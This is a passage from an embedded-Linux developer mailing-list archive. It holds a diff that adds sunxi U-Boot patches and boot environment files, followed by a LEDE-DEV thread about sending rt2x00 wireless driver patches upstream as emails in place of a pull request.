+++ b/target/linux/sunxi/image/uboot/patches/017-usb-add-support-for-usb3-vbus-pin.patch
@@ -0,0 +1,39 @@
+From 60fa63012fcdc3c4ec1497bf5e358f0a90b40949 Mon Sep 17 00:00:00 2001
+From: Hans de Goede <hdegoede at redhat.com>
+Date: Fri, 18 Mar 2016 08:42:01 +0100
+Subject: [PATCH] sunxi: Add support for USB vbus pin for USB3
+
+The H3 has USB0 - USB3, add support for having a USB vbus pin for USB3.
+
+Signed-off-by: Hans de Goede <hdegoede at redhat.com>
+Acked-by: Ian Campbell <ijc at hellion.org.uk>
+---
+ arch/arm/cpu/armv7/sunxi/usb_phy.c | 1 +
+ board/sunxi/Kconfig                | 6 ++++++
+ 2 files changed, 7 insertions(+)
+
+--- a/arch/arm/cpu/armv7/sunxi/usb_phy.c
++++ b/arch/arm/cpu/armv7/sunxi/usb_phy.c
+@@ -76,6 +76,7 @@ static int get_vbus_gpio(int index)
+ 	case 0: return sunxi_name_to_gpio(CONFIG_USB0_VBUS_PIN);
+ 	case 1: return sunxi_name_to_gpio(CONFIG_USB1_VBUS_PIN);
+ 	case 2: return sunxi_name_to_gpio(CONFIG_USB2_VBUS_PIN);
++	case 3: return sunxi_name_to_gpio(CONFIG_USB3_VBUS_PIN);
+ 	}
+ 	return -EINVAL;
+ }
+--- a/board/sunxi/Kconfig
++++ b/board/sunxi/Kconfig
+@@ -341,6 +341,12 @@ config USB2_VBUS_PIN
+ 	---help---
+ 	See USB1_VBUS_PIN help text.
+ 
++config USB3_VBUS_PIN
++	string "Vbus enable pin for usb3 (ehci2)"
++	default ""
++	---help---
++	See USB1_VBUS_PIN help text.
++
+ config I2C0_ENABLE
+ 	bool "Enable I2C/TWI controller 0"
+ 	default y if MACH_SUN4I || MACH_SUN5I || MACH_SUN7I
diff --git a/target/linux/sunxi/image/uboot/patches/018-usb-specify-vbus-pins-on-orangepis.patch b/target/linux/sunxi/image/uboot/patches/018-usb-specify-vbus-pins-on-orangepis.patch
new file mode 100644
index 0000000..a216bc9
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/patches/018-usb-specify-vbus-pins-on-orangepis.patch
@@ -0,0 +1,31 @@
+From ce0d0926758f631fdd655d438acd32d5935d43a4 Mon Sep 17 00:00:00 2001
+From: Hans de Goede <hdegoede at redhat.com>
+Date: Fri, 18 Mar 2016 08:45:21 +0100
+Subject: [PATCH] sunxi: Specify USB vbus pins for orangepi boards
+
+This fixes the USB ports not working on the orangepi_plus and stops us
+from messing with gpio-s which we should not touch on the orangepi_pc.
+
+Signed-off-by: Hans de Goede <hdegoede at redhat.com>
+Acked-by: Ian Campbell <ijc at hellion.org.uk>
+---
+ configs/orangepi_pc_defconfig   | 3 +++
+ configs/orangepi_plus_defconfig | 1 +
+ 2 files changed, 4 insertions(+)
+
+--- a/configs/orangepi_pc_defconfig
++++ b/configs/orangepi_pc_defconfig
+@@ -14,3 +14,6 @@ CONFIG_SPL=y
+ CONFIG_CMD_GPIO=y
+ CONFIG_SY8106A_POWER=y
+ CONFIG_USB_EHCI_HCD=y
++CONFIG_USB1_VBUS_PIN=""
++CONFIG_USB2_VBUS_PIN=""
++CONFIG_USB3_VBUS_PIN=""
+--- a/configs/orangepi_plus_defconfig
++++ b/configs/orangepi_plus_defconfig
+@@ -14,3 +14,4 @@ CONFIG_SPL=y
+ CONFIG_CMD_GPIO=y
+ CONFIG_SY8106A_POWER=y
+ CONFIG_USB_EHCI_HCD=y
++CONFIG_USB1_VBUS_PIN="PG13"
diff --git a/target/linux/sunxi/image/uboot/patches/019-sid-add-efuse-support-for-h3-a83t.patch b/target/linux/sunxi/image/uboot/patches/019-sid-add-efuse-support-for-h3-a83t.patch
new file mode 100644
index 0000000..e7b8cd7
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/patches/019-sid-add-efuse-support-for-h3-a83t.patch
@@ -0,0 +1,33 @@
+From 70fe24ed93fa90eb407d18a5fc9d9ad85ac9184c Mon Sep 17 00:00:00 2001
+From: Chen-Yu Tsai <wens at csie.org>
+Date: Wed, 27 Jan 2016 16:34:43 +0800
+Subject: [PATCH] sunxi: Support SID e-fuses on A83T and H3
+
+On the A83T and H3, the SID block is at a different address.
+Furthurmore, the e-fuses are at an offset of 0x200 within the
+hardware's address space.
+
+Signed-off-by: Chen-Yu Tsai <wens at csie.org>
+Acked-by: Hans de Goede <hdegoede at redhat.com>
+Signed-off-by: Hans de Goede <hdegoede at redhat.com>
+---
+ arch/arm/include/asm/arch-sunxi/cpu_sun4i.h | 7 +++++++
+ 1 file changed, 7 insertions(+)
+
+--- a/arch/arm/include/asm/arch-sunxi/cpu_sun4i.h
++++ b/arch/arm/include/asm/arch-sunxi/cpu_sun4i.h
+@@ -82,7 +82,14 @@
+ #define SUNXI_AD_DA_BASE		0x01c22c00
+ #define SUNXI_KEYPAD_BASE		0x01c23000
+ #define SUNXI_TZPC_BASE			0x01c23400
++
++#if defined(CONFIG_MACH_SUN8I_A83T) || defined(CONFIG_MACH_SUN8I_H3)
++/* SID address space starts at 0x01c1400, but e-fuse is at offset 0x200 */
++#define SUNXI_SID_BASE			0x01c14200
++#else
+ #define SUNXI_SID_BASE			0x01c23800
++#endif
++
+ #define SUNXI_SJTAG_BASE		0x01c23c00
+ 
+ #define SUNXI_TP_BASE			0x01c25000
diff --git a/target/linux/sunxi/image/uboot/patches/020-boot-display-board-model-on-startup.patch b/target/linux/sunxi/image/uboot/patches/020-boot-display-board-model-on-startup.patch
new file mode 100644
index 0000000..d49fc97
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/patches/020-boot-display-board-model-on-startup.patch
@@ -0,0 +1,23 @@
+From 2af25b747340c6c8f6a6b9e27632db577bf4da52 Mon Sep 17 00:00:00 2001
+From: Simon Glass <sjg at chromium.org>
+Date: Mon, 22 Feb 2016 22:55:46 -0700
+Subject: [PATCH] sunxi: Display the board model on start-up
+
+It is useful to know which sunxi board you are booting. Display this on
+start-up to avoid confusion.
+
+Signed-off-by: Simon Glass <sjg at chromium.org>
+---
+ include/configs/sunxi-common.h | 1 +
+ 1 file changed, 1 insertion(+)
+
+--- a/include/configs/sunxi-common.h
++++ b/include/configs/sunxi-common.h
+@@ -174,6 +174,7 @@
+ 
+ #define CONFIG_SYS_MONITOR_LEN		(768 << 10)	/* 768 KiB */
+ #define CONFIG_IDENT_STRING		" Allwinner Technology"
++#define CONFIG_DISPLAY_BOARDINFO
+ 
+ #define CONFIG_ENV_OFFSET		(544 << 10) /* (8 + 24 + 512) KiB */
+ #define CONFIG_ENV_SIZE			(128 << 10)	/* 128 KiB */
diff --git a/target/linux/sunxi/image/uboot/patches/091-sun6i-sync-PLL1-multdiv-with-Boot1.patch b/target/linux/sunxi/image/uboot/patches/091-sun6i-sync-PLL1-multdiv-with-Boot1.patch
new file mode 100644
index 0000000..a402feb
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/patches/091-sun6i-sync-PLL1-multdiv-with-Boot1.patch
@@ -0,0 +1,32 @@
+From a58eb20fb80f478038243e9e0f30f6984725e265 Mon Sep 17 00:00:00 2001
+From: Philipp Tomsich <philipp.tomsich at theobroma-systems.com>
+Date: Tue, 6 Jan 2015 15:47:18 +0100
+Subject: sun6i: Sync PLL1 multipliers/dividers with Boot1
+
+This change syncs up the multipliers and dividers used to initialize
+PLL1 (i.e. the fast clock driving the ARM cores) with the values used
+in Allwinner's Boot1 on sun6i.
+
+More specifically, the following settings are now used:
+ * up to 768MHz:  mul=2, div=2 (was: mul=1, div=1)
+ * up to 1152MHz: mul=3, div=2 (unchanged)
+ * above 1152MHz: mul=4, div=2 (was: mul=2, div=1)
+
+--- a/arch/arm/cpu/armv7/sunxi/clock_sun6i.c
++++ b/arch/arm/cpu/armv7/sunxi/clock_sun6i.c
+@@ -122,11 +122,12 @@ void clock_set_pll1(unsigned int clk)
+ 	struct sunxi_ccm_reg * const ccm =
+ 		(struct sunxi_ccm_reg *)SUNXI_CCM_BASE;
+ 	const int p = 0;
+-	int k = 1;
+-	int m = 1;
++	int k = 2;
++	int m = 2;
+ 
+ 	if (clk > 1152000000) {
+-		k = 2;
++		k = 4;
++		m = 2;
+ 	} else if (clk > 768000000) {
+ 		k = 3;
+ 		m = 2;
diff --git a/target/linux/sunxi/image/uboot/patches/093-sun6i-fix-PLL-LDO-voltselect.patch b/target/linux/sunxi/image/uboot/patches/093-sun6i-fix-PLL-LDO-voltselect.patch
new file mode 100644
index 0000000..d200633
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/patches/093-sun6i-fix-PLL-LDO-voltselect.patch
@@ -0,0 +1,70 @@
+From b2b385df5095fff80b4655142f58a2a6801e6c80 Mon Sep 17 00:00:00 2001
+From: Philipp Tomsich <philipp.tomsich at theobroma-systems.com>
+Date: Tue, 6 Jan 2015 21:26:44 +0100
+Subject: sun6i: Fix and document PLL LDO voltage selection
+
+The PRCM_PLL_CTRL_LDO_OUT_L and PRCM_PLL_CTRL_LDO_OUT_H macros had
+their meaning reversed. This is fixed by this change-set. With this
+changed, the PRCM_PLL_CTRL_LDO_OUT_L(1370) now becomes self-evident
+as setting the voltage to 1.37v (which it had done all along, even
+though stating a different target voltage).
+
+After changing the PLL LDO setting, it will take a little while for
+the voltage output to settle. A sdelay()-based loop waits the same
+order of magnitude as Boot1.
+
+Furthermore, a bit of documentation is added to clarify that the
+required setting for the PLL LDO is 1.37v as per the A31 manual.
+
+--- a/arch/arm/cpu/armv7/sunxi/clock_sun6i.c
++++ b/arch/arm/cpu/armv7/sunxi/clock_sun6i.c
+@@ -24,14 +24,27 @@ void clock_init_safe(void)
+ 	struct sunxi_prcm_reg * const prcm =
+ 		(struct sunxi_prcm_reg *)SUNXI_PRCM_BASE;
+ 
+-	/* Set PLL ldo voltage without this PLL6 does not work properly */
++	/* Set PLL ldo voltage without this PLL6 does not work properly.
++	 *
++	 * As the A31 manual states, that "before enable PLL, PLLVDD
++	 * LDO should be set to 1.37v", we need to configure this to 2.5v
++	 * in the "PLL Input Power Select" (0 << 15) and (7 << 16).
++	 */
+ 	clrsetbits_le32(&prcm->pll_ctrl1, PRCM_PLL_CTRL_LDO_KEY_MASK,
+ 			PRCM_PLL_CTRL_LDO_KEY);
+ 	clrsetbits_le32(&prcm->pll_ctrl1, ~PRCM_PLL_CTRL_LDO_KEY_MASK,
+ 		PRCM_PLL_CTRL_LDO_DIGITAL_EN | PRCM_PLL_CTRL_LDO_ANALOG_EN |
+-		PRCM_PLL_CTRL_EXT_OSC_EN | PRCM_PLL_CTRL_LDO_OUT_L(1140));
++		PRCM_PLL_CTRL_EXT_OSC_EN | PRCM_PLL_CTRL_LDO_OUT_L(1370) );
+ 	clrbits_le32(&prcm->pll_ctrl1, PRCM_PLL_CTRL_LDO_KEY_MASK);
+ 
++	/* Give the PLL LDO voltage setting some time to take hold.
++	 * Notes:
++	 *   1) We need to use sdelay() as the timers aren't set up yet.
++	 *   2) The 100k iterations come from Boot1, which spin's for 100k
++	 *      iterations through a loop.
++	 */
++	sdelay(100000);
++
+ 	clock_set_pll1(408000000);
+ 
+ 	writel(PLL6_CFG_DEFAULT, &ccm->pll6_cfg);
+--- a/arch/arm/include/asm/arch-sunxi/prcm.h
++++ b/arch/arm/include/asm/arch-sunxi/prcm.h
+@@ -111,13 +111,13 @@
+ #define PRCM_PLL_CTRL_LDO_OUT_MASK \
+ 	__PRCM_PLL_CTRL_LDO_OUT(0x7)
+ /* When using the low voltage 20 mV steps, and high voltage 30 mV steps */
+-#define PRCM_PLL_CTRL_LDO_OUT_L(n) \
+-	__PRCM_PLL_CTRL_VDD_LDO_OUT((((n) - 1000) / 20) & 0x7)
+ #define PRCM_PLL_CTRL_LDO_OUT_H(n) \
++	__PRCM_PLL_CTRL_VDD_LDO_OUT((((n) - 1000) / 20) & 0x7)
++#define PRCM_PLL_CTRL_LDO_OUT_L(n) \
+ 	__PRCM_PLL_CTRL_VDD_LDO_OUT((((n) - 1160) / 30) & 0x7)
+-#define PRCM_PLL_CTRL_LDO_OUT_LV(n) \
+-	__PRCM_PLL_CTRL_VDD_LDO_OUT((((n) & 0x7) * 20) + 1000)
+ #define PRCM_PLL_CTRL_LDO_OUT_HV(n) \
++	__PRCM_PLL_CTRL_VDD_LDO_OUT((((n) & 0x7) * 20) + 1000)
++#define PRCM_PLL_CTRL_LDO_OUT_LV(n) \
+ 	__PRCM_PLL_CTRL_VDD_LDO_OUT((((n) & 0x7) * 30) + 1160)
+ #define PRCM_PLL_CTRL_LDO_KEY (0xa7 << 24)
+ #define PRCM_PLL_CTRL_LDO_KEY_MASK (0xff << 24)
diff --git a/target/linux/sunxi/image/uboot/patches/100-sun6i-alternate-on-UART2.patch b/target/linux/sunxi/image/uboot/patches/100-sun6i-alternate-on-UART2.patch
new file mode 100644
index 0000000..bf5dc66
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/patches/100-sun6i-alternate-on-UART2.patch
@@ -0,0 +1,16 @@
+From d7311b6e7cdd1fc0e92665188e650934718cb2b1 Mon Sep 17 00:00:00 2001
+From: Philipp Tomsich <philipp.tomsich at theobroma-systems.com>
+Date: Tue, 16 Jun 2015 10:52:01 +0200
+Subject: sun6i: define alternate-function for UART2 on GPG
+
+
+--- a/arch/arm/include/asm/arch-sunxi/gpio.h
++++ b/arch/arm/include/asm/arch-sunxi/gpio.h
+@@ -180,6 +180,7 @@ enum sunxi_gpio_number {
+ #define SUN6I_GPG_SDC1		2
+ #define SUN8I_GPG_SDC1		2
+ #define SUN6I_GPG_TWI3		2
++#define SUN6I_GPG_UART2         2
+ #define SUN5I_GPG_UART1		4
+ 
+ #define SUN4I_GPH_SDC1		5
diff --git a/target/linux/sunxi/image/uboot/patches/101-sun6i-support-console-on-UART2.patch b/target/linux/sunxi/image/uboot/patches/101-sun6i-support-console-on-UART2.patch
new file mode 100644
index 0000000..087074d
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/patches/101-sun6i-support-console-on-UART2.patch
@@ -0,0 +1,30 @@
+From c058dfb69136d62f88ae8b121104bdb7ce2df03f Mon Sep 17 00:00:00 2001
+From: Philipp Tomsich <philipp.tomsich at theobroma-systems.com>
+Date: Tue, 16 Jun 2015 10:53:11 +0200
+Subject: ARM: sun6i: Support console on UART2 (GPG6/GPG7)
+
+
+--- a/arch/arm/cpu/armv7/sunxi/board.c
++++ b/arch/arm/cpu/armv7/sunxi/board.c
+@@ -88,6 +88,10 @@ static int gpio_init(void)
+ 	sunxi_gpio_set_cfgpin(SUNXI_GPG(3), SUN5I_GPG_UART1);
+ 	sunxi_gpio_set_cfgpin(SUNXI_GPG(4), SUN5I_GPG_UART1);
+ 	sunxi_gpio_set_pull(SUNXI_GPG(4), SUNXI_GPIO_PULL_UP);
++#elif CONFIG_CONS_INDEX == 3 && defined(CONFIG_MACH_SUN6I)
++	sunxi_gpio_set_cfgpin(SUNXI_GPG(6), SUN6I_GPG_UART2);
++	sunxi_gpio_set_cfgpin(SUNXI_GPG(7), SUN6I_GPG_UART2);
++	sunxi_gpio_set_pull(SUNXI_GPG(7), SUNXI_GPIO_PULL_UP);
+ #elif CONFIG_CONS_INDEX == 3 && defined(CONFIG_MACH_SUN8I)
+ 	sunxi_gpio_set_cfgpin(SUNXI_GPB(0), SUN8I_GPB_UART2);
+ 	sunxi_gpio_set_cfgpin(SUNXI_GPB(1), SUN8I_GPB_UART2);
+--- a/include/configs/sunxi-common.h
++++ b/include/configs/sunxi-common.h
+@@ -260,6 +260,8 @@ extern int soft_i2c_gpio_scl;
+ #endif
+ #elif CONFIG_CONS_INDEX == 2 && defined(CONFIG_MACH_SUN5I)
+ #define OF_STDOUT_PATH		"/soc at 01c00000/serial at 01c28400:115200"
++#elif CONFIG_CONS_INDEX == 3 && defined(CONFIG_MACH_SUN6I)
++#define OF_STDOUT_PATH          "/soc at 01c00000/serial at 01c28800:115200"
+ #elif CONFIG_CONS_INDEX == 3 && defined(CONFIG_MACH_SUN8I)
+ #define OF_STDOUT_PATH		"/soc at 01c00000/serial at 01c28800:115200"
+ #elif CONFIG_CONS_INDEX == 5 && defined(CONFIG_MACH_SUN8I)
diff --git a/target/linux/sunxi/image/uboot/patches/102-sunxi-make_CONS_INDEX-configurable.patch b/target/linux/sunxi/image/uboot/patches/102-sunxi-make_CONS_INDEX-configurable.patch
new file mode 100644
index 0000000..ee1e3c9
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/patches/102-sunxi-make_CONS_INDEX-configurable.patch
@@ -0,0 +1,23 @@
+From 78d5fab8e345b1273ec8c22d06f1a1d27670b518 Mon Sep 17 00:00:00 2001
+From: Philipp Tomsich <philipp.tomsich at theobroma-systems.com>
+Date: Tue, 16 Jun 2015 10:59:38 +0200
+Subject: ARM: sunxi: Make CONS_INDEX configurable
+
+
+--- a/board/sunxi/Kconfig
++++ b/board/sunxi/Kconfig
+@@ -229,6 +229,14 @@ config SYS_BOARD
+ config SYS_SOC
+ 	default "sunxi"
+ 
++config CONS_INDEX
++        int "UART used for console"
++        range 1 5
++        default 1
++        ---help---
++        Defines the UART port used for serial output. It starts at 1 so UART0 is 1,
++        UART1 is 2 and so on.
++
+ config UART0_PORT_F
+ 	bool "UART0 on MicroSD breakout board"
+ 	default n
diff --git a/target/linux/sunxi/image/uboot/uEnv-default.txt b/target/linux/sunxi/image/uboot/uEnv-default.txt
new file mode 100644
index 0000000..e024954
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/uEnv-default.txt
@@ -0,0 +1,6 @@
+setenv fdt_high ffffffff
+setenv loadkernel fatload mmc 0 \$kernel_addr_r uImage
+setenv loaddtb fatload mmc 0 \$fdt_addr_r dtb
+setenv bootargs console=ttyS0,115200 earlyprintk root=/dev/mmcblk0p2 rootwait
+setenv uenvcmd run loadkernel \&\& run loaddtb \&\& bootm \$kernel_addr_r - \$fdt_addr_r
+run uenvcmd
diff --git a/target/linux/sunxi/image/uboot/uEnv-pangolin.txt b/target/linux/sunxi/image/uboot/uEnv-pangolin.txt
new file mode 100644
index 0000000..9c4fa11
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/uEnv-pangolin.txt
@@ -0,0 +1,6 @@
+setenv fdt_high ffffffff
+setenv loadkernel fatload mmc 0 \$kernel_addr_r uImage
+setenv loaddtb fatload mmc 0 \$fdt_addr_r dtb
+setenv bootargs console=ttyS2,115200 earlyprintk root=/dev/mmcblk0p2 rootwait
+setenv uenvcmd run loadkernel \&\& run loaddtb \&\& bootm \$kernel_addr_r - \$fdt_addr_r
+run uenvcmd
diff --git a/target/linux/sunxi/profiles/00-default.mk b/target/linux/sunxi/profiles/00-default.mk
new file mode 100644
index 0000000..674ba3e
--- /dev/null
+++ b/target/linux/sunxi/profiles/00-default.mk
@@ -0,0 +1,27 @@
+#
+# Copyright (C) 2017 Yousong Zhou
+#
+# This is free software, licensed under the GNU General Public License v2.
+# See /LICENSE for more information.
+#
+
+define Profile/Default
+	NAME:=Default Profile (all drivers)
+	PACKAGES:= \
+		kmod-ata-core \
+		kmod-ata-sunxi \
+		kmod-brcmfmac \
+		kmod-rtc-sunxi \
+		kmod-rtl8192cu \
+		kmod-rtl8xxxu \
+		kmod-sun4i-emac \
+		rtl8188eu-firmware \
+		swconfig \
+		wpad-mini
+	PRIORITY := 1
+endef
+
+define Profile/Default/Description
+	Default profile with package set compatible with most boards.
+endef
+$(eval $(call Profile,Default))
-- 
2.6.4



From daniel at makrotopia.org  Thu Jan 12 19:50:32 2017
From: daniel at makrotopia.org (Daniel Golle)
Date: Fri, 13 Jan 2017 04:50:32 +0100
Subject: [LEDE-DEV] [RFC] [PULL REQUEST] rt2x00 patches from OpenWrt.org
Message-ID: <20170113035020.GA9063@makrotopia.org>

Hi!

In preparation to be submitted upstream I started to clean up a huge
pile of patches for rt2x00 we have been carrying along for quite a
while (some for more than half a decade!).
Some of them are fixes, most importantly Serge Vasilugin fixed setting
the HT20/HT40 filter which got us much closer to the expected
performance when using HT40 modes.

And also a lot of new added hardware support:
Gabor Juhos wrote code for Rt3883 WiSoC.
Daniel Golle implemented support for Rt3352 by designs with external PA
as well as for boards using a 20MHz crystal instead of the usual 40MHz.
Serge Vasilugin contributed support for the Rt5350 WiSoC.
Michel Stempin, Felix Fietkau and John Crispin have been helping with
cleaning up things and putting away legal doubts.

Please review and comment, so we can get those patches merged!


Cheers


Daniel


The following changes since commit cc75c577806a53893122829d91cb122b51643a2d:

  mwifiex: get rid of global save_adapter and sdio_work (2017-01-12 16:49:18 +0200)

are available in the git repository at:

  https://github.com/dangowrt/linux.git rt2x00-from-openwrt

for you to fetch changes up to fb8832d1896475059c964c75ab4baaf94199143c:

  rt2x00: fix WARN_ON_ONCE() caused by inbalanced set/clear of beacon enable bit (2017-01-13 04:17:57 +0100)

----------------------------------------------------------------
Claudio Mignanti (1):
      rt2x00: rt2x00pci: set PCI MWI only if supported

Daniel Golle (2):
      rt2x00: support for for RT3352 with external PA
      rt2x00: add support for RT3352 with 20MHz crystal

Felix Fietkau (1):
      rt2x00: fix rf id for RT3352

Gabor Juhos (34):
      rt2x00: rt2800lib: move rt2800_drv_data declaration into rt2800lib.h
      rt2x00: rt2800lib: introduce RT2800_HAS_HIGH_SHARED_MEM flag
      rt2x00: rt2800: serialize shared memory access
      rt2x00: rt2800lib: fix beacon generation on RT3593
      rt2x00: rt2800lib: add hw_beacon_count field to struct rt2800_drv_data
      rt2x00: rt2800lib: init additional beacon offset registers
      rt2x00: rt2800lib: fix max supported beacon count for RT3593
      rt2x00: allow to build rt2800soc module for RT3883
      rt2x00: rt2800lib: enable support for RT3883
      rt2x00: rt2800lib: add rf_vals for RF3853
      rt2x00: rt2800lib: enable VCO calibration for RF3853
      rt2x00: rt2800lib: add channel configuration function for RF3853
      rt2x00: rt2800lib: enable RF3853 support
      rt2x00: rt2800lib: add MAC register initialization for RT3883
      rt2x00: rt2800soc: fix rt2800soc_disable_radio for RT3883
      rt2x00: rt2800lib: add BBP register initialization for RT3883
      rt2x00: rt2800lib: add RFCSR initialization for RT3883
      rt2x00: rt2800lib: use the extended EEPROM map for RT3883
      rt2x00: rt2800lib: force rf type to RF3853 on RT3883
      rt2x00: rt2800lib: add channel configuration code for RT3883
      rt2x00: rt2800lib: fix txpower_to_dev function for RT3883
      rt2x00: rt2800lib: use correct txpower calculation function for RT3883
      rt2x00: rt2800lib: hardcode txmixer gain values to zero for RT3883
      rt2x00: rt2800lib: use correct [RT]XWI size for RT3883
      rt2x00: rt2800lib: use correct beacon base for RT3883
      rt2x00: rt2800lib: use correct beacon count for RT3883
      rt2x00: rt2800lib: fix antenna configuration for RT3883
      rt2x00: rt2800lib: fix LNA gain configuration for RT3883
      rt2x00: rt2800lib: fix VGC setup for RT3883
      rt2x00: rt2800lib: fix EEPROM LNA validation for RT3883
      rt2x00: rt2800lib: fix txpower compensation for RT3883
      rt2x00: rt2800lib: enable RT2800_HAS_HIGH_SHARED_MEM for RT3883
      rt2x00: rt2800lib: use high memory for beacons on RT3883
      rt2x00: rt2800mmio: add a workaround for spurious TX_FIFO_STATUS interrupts

Michel Stempin (1):
      rt2x00: add support for RT5350 WiSoC

Serge Vasilugin (1):
      rt2x00 correctly set ht20/ht40 filter

evaxige (1):
      rt2x00: fix WARN_ON_ONCE() caused by inbalanced set/clear of beacon enable bit

 drivers/net/wireless/ralink/rt2x00/Kconfig      |    2 +-
 drivers/net/wireless/ralink/rt2x00/rt2800.h     |   79 +-
 drivers/net/wireless/ralink/rt2x00/rt2800lib.c  | 1006 ++++++++++++++++++++++-
 drivers/net/wireless/ralink/rt2x00/rt2800lib.h  |   63 ++
 drivers/net/wireless/ralink/rt2x00/rt2800mmio.c |   98 ++-
 drivers/net/wireless/ralink/rt2x00/rt2800mmio.h |    4 +
 drivers/net/wireless/ralink/rt2x00/rt2800pci.c  |   14 +
 drivers/net/wireless/ralink/rt2x00/rt2800soc.c  |   12 +-
 drivers/net/wireless/ralink/rt2x00/rt2800usb.c  |   31 +
 drivers/net/wireless/ralink/rt2x00/rt2x00.h     |   10 +
 drivers/net/wireless/ralink/rt2x00/rt2x00dev.c  |    7 +-
 drivers/net/wireless/ralink/rt2x00/rt2x00mac.c  |    8 +-
 drivers/net/wireless/ralink/rt2x00/rt2x00pci.c  |    2 +
 13 files changed, 1254 insertions(+), 82 deletions(-)


From kvalo at codeaurora.org  Fri Jan 13 02:46:56 2017
From: kvalo at codeaurora.org (Kalle Valo)
Date: Fri, 13 Jan 2017 12:46:56 +0200
Subject: [LEDE-DEV] [RFC] [PULL REQUEST] rt2x00 patches from OpenWrt.org
In-Reply-To: <20170113035020.GA9063@makrotopia.org> (Daniel Golle's message of
 "Fri, 13 Jan 2017 04:50:32 +0100")
References: <20170113035020.GA9063@makrotopia.org>
Message-ID: <87tw93i6e7.fsf@purkki.adurom.net>

Daniel Golle <daniel at makrotopia.org> writes:

> In preparation to be submitted upstream I started to clean up a huge
> pile of patches for rt2x00 we have been carrying along for quite a
> while (some for more than half a decade!).
> Some of them are fixes, most importantly Serge Vasilugin fixed setting
> the HT20/HT40 filter which got us much closer to the expected
> performance when using HT40 modes.
>
> And also a lot of new added hardware support:
> Gabor Juhos wrote code for Rt3883 WiSoC.
> Daniel Golle implemented support for Rt3352 by designs with external PA
> as well as for boards using a 20MHz crystal instead of the usual 40MHz.
> Serge Vasilugin contributed support for the Rt5350 WiSoC.
> Michel Stempin, Felix Fietkau and John Crispin have been helping with
> cleaning up things and putting away legal doubts.
>
> Please review and comment, so we can get those patches merged!

No pull requests, please. Instead send these as patches, easier to
review and actually also easier for me to merge.

-- 
Kalle Valo


From sgruszka at redhat.com  Fri Jan 13 06:15:55 2017
From: sgruszka at redhat.com (Stanislaw Gruszka)
Date: Fri, 13 Jan 2017 15:15:55 +0100
Subject: [LEDE-DEV] [RFC] [PULL REQUEST] rt2x00 patches from OpenWrt.org
In-Reply-To: <20170113035020.GA9063@makrotopia.org>
References: <20170113035020.GA9063@makrotopia.org>
Message-ID: <20170113141554.GA8018@redhat.com>

Hi

On Fri, Jan 13, 2017 at 04:50:32AM +0100, Daniel Golle wrote:
> Please review and comment, so we can get those patches merged!

As already pointed by Kalle posting patches to mailing list is better
way for review. Posing patches is easy with git-format-patch and
git-send-email. Ideally patch series should not be long, let say no more
than 30 patches - I suggest to split this into two series: second one
for RT3853 support and first one for other patches.

> evaxige (1):
>       rt2x00: fix WARN_ON_ONCE() caused by inbalanced set/clear of beacon enable bit

I think I would prefer to remove:

WARN_ON_ONCE(bcn_num != rt2x00dev->intf_beaconing);

line instead of this patch. Other patches looks ok after quick glance.
I think you can post them as normal PATCH in the topic (not as RFC).

Thanks
Stanislaw


From daniel at makrotopia.org  Fri Jan 13 07:46:30 2017
From: daniel at makrotopia.org (Daniel Golle)
Date: Fri, 13 Jan 2017 16:46:30 +0100
Subject: [LEDE-DEV] [RFC] [PULL REQUEST] rt2x00 patches from OpenWrt.org
In-Reply-To: <87tw93i6e7.fsf@purkki.adurom.net>
References: <20170113035020.GA9063@makrotopia.org>
 <87tw93i6e7.fsf@purkki.adurom.net>
Message-ID: <20170113154629.GG2332@makrotopia.org>

Hi Kalle,

On Fri, Jan 13, 2017 at 12:46:56PM +0200, Kalle Valo wrote:
> Daniel Golle <daniel at makrotopia.org> writes:
> > ...
> > Please review and comment, so we can get those patches merged!
> 
> No pull requests, please. Instead send these as patches, easier to
> review and actually also easier for me to merge.

The advantage of pull requests is that author information can be
preserved more easily. Running git format-patch results in most patches
having wrong SMTP sender information due to the assumption that the
patch author is the same person also submitting the patch.
So in practise, this would either require changing the From: (and thus
Author) to myself or having most mails eaten by anti-spam measures due
to non-matching SPF which prohibits my SMTP to send mail on behalf of
the original authors of the patches.

How do you suggest to handle this situation?


Cheers


Daniel


From johannes at sipsolutions.net  Fri Jan 13 07:59:59 2017
From: johannes at sipsolutions.net (Johannes Berg)
Date: Fri, 13 Jan 2017 16:59:59 +0100
Subject: [LEDE-DEV] [RFC] [PULL REQUEST] rt2x00 patches from OpenWrt.org
In-Reply-To: <20170113154629.GG2332@makrotopia.org>
 (sfid-20170113_164656_743337_630DDD13)
References: <20170113035020.GA9063@makrotopia.org>
 <87tw93i6e7.fsf@purkki.adurom.net> <20170113154629.GG2332@makrotopia.org>
 (sfid-20170113_164656_743337_630DDD13)
Message-ID: <1484323199.8670.5.camel@sipsolutions.net>


> The advantage of pull requests is that author information can be
> preserved more easily. Running git format-patch results in most
> patches
> having wrong SMTP sender information due to the assumption that the
> patch author is the same person also submitting the patch.
> So in practise, this would either require changing the From: (and
> thus
> Author) to myself or having most mails eaten by anti-spam measures
> due
> to non-matching SPF which prohibits my SMTP to send mail on behalf of
> the original authors of the patches.
> 

This is completely untrue. If the first line of the *body* of the email
is "From: ..." then this is preserved as the author information by git
am, and doing so is also the default in git format-patch/send-email
when the author doesn't match the email configuration.

johannes


From daniel at makrotopia.org  Fri Jan 13 08:17:23 2017
From: daniel at makrotopia.org (Daniel Golle)
Date: Fri, 13 Jan 2017 17:17:23 +0100
Subject: [LEDE-DEV] [RFC] [PULL REQUEST] rt2x00 patches from OpenWrt.org
In-Reply-To: <1484323199.8670.5.camel@sipsolutions.net>
References: <20170113035020.GA9063@makrotopia.org>
 <87tw93i6e7.fsf@purkki.adurom.net>
 <20170113154629.GG2332@makrotopia.org>
 <1484323199.8670.5.camel@sipsolutions.net>
Message-ID: <20170113161722.GH2332@makrotopia.org>

On Fri, Jan 13, 2017 at 04:59:59PM +0100, Johannes Berg wrote:
> 
> > The advantage of pull requests is that author information can be
> > preserved more easily. Running git format-patch results in most
> > patches
> > having wrong SMTP sender information due to the assumption that the
> > patch author is the same person also submitting the patch.
> > So in practise, this would either require changing the From: (and
> > thus
